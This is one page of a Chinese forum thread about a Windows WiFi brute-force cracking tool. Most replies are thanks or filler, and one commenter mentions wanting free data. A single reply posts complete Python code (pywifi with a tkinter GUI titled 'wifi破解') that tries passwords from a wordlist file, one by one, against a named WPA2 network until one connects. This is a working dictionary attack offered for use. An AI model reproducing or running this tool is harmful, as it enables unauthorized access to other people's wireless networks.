hongkelihai 发表于 2023-7-16 16:51:39

这的顶非常昊

TIANXIANG 发表于 2023-7-16 16:56:01

感谢楼主分享,谢谢~~~~~~~~

kaqidalu2010 发表于 2023-7-16 19:21:04

66666666666666666666666666

Zqw123456 发表于 2023-7-16 23:34:17

1111111111111111111

skjyud 发表于 2023-7-17 00:50:19

好东西正需要

搅屎棍 发表于 2023-7-17 09:23:17

顶,dddddddddddd

awyh 发表于 2023-7-17 15:23:05

def wificonnect(str, wifiname):
    # 窗口无线对象
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()
    # 断开所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
      # 创建wifi连接文件
      profile = pywifi.Profile()
      profile.ssid = wifiname
      # wifi的加密算法
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      # wifi的密码
      profile.key = str
      # 网卡的开发
      profile.auth = const.AUTH_ALG_OPEN
      # 加密单元,这里需要写点加密单元否则无法连接
      profile.cipher = const.CIPHER_TYPE_CCMP
      # 删除所有的wifi文件
      ifaces.remove_all_network_profiles()
      # 设置新的连接文件
      tep_profile = ifaces.add_network_profile(profile)
      # 连接
      ifaces.connect(tep_profile)
      time.sleep(3)
      if ifaces.status() == const.IFACE_CONNECTED:
            return True
      else:
            return False




def readPwd():
    # 获取wiif名称
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
      try:
            # 读取
            mystr = file.readline().strip()
            # 测试连接
            bool = wificonnect(mystr, wifiname)
            if bool:
                text.insert(END, '密码正确' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END, '密码错误' + mystr)
                text.see(END)
                text.update()
      except:
            continue


# 创建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# 标签
label = Label(root, text='输入要破解的WIFI名称:')
# 定位
label.grid()
# 输入控件
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按钮
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 显示窗口
root.mainloop()

wq17 发表于 2023-7-17 20:26:40

谢谢谢谢

SUDA196 发表于 2023-7-17 21:10:00

求wifi神奇,流量不够用了

BIN龙 发表于 2023-7-18 00:17:24

感谢先给楼主磕一个
页: 17 18 19 20 21 22 23 24 25 26 [27] 28 29 30 31 32 33 34 35 36
查看完整版本: wifi 暴力破解工具windows版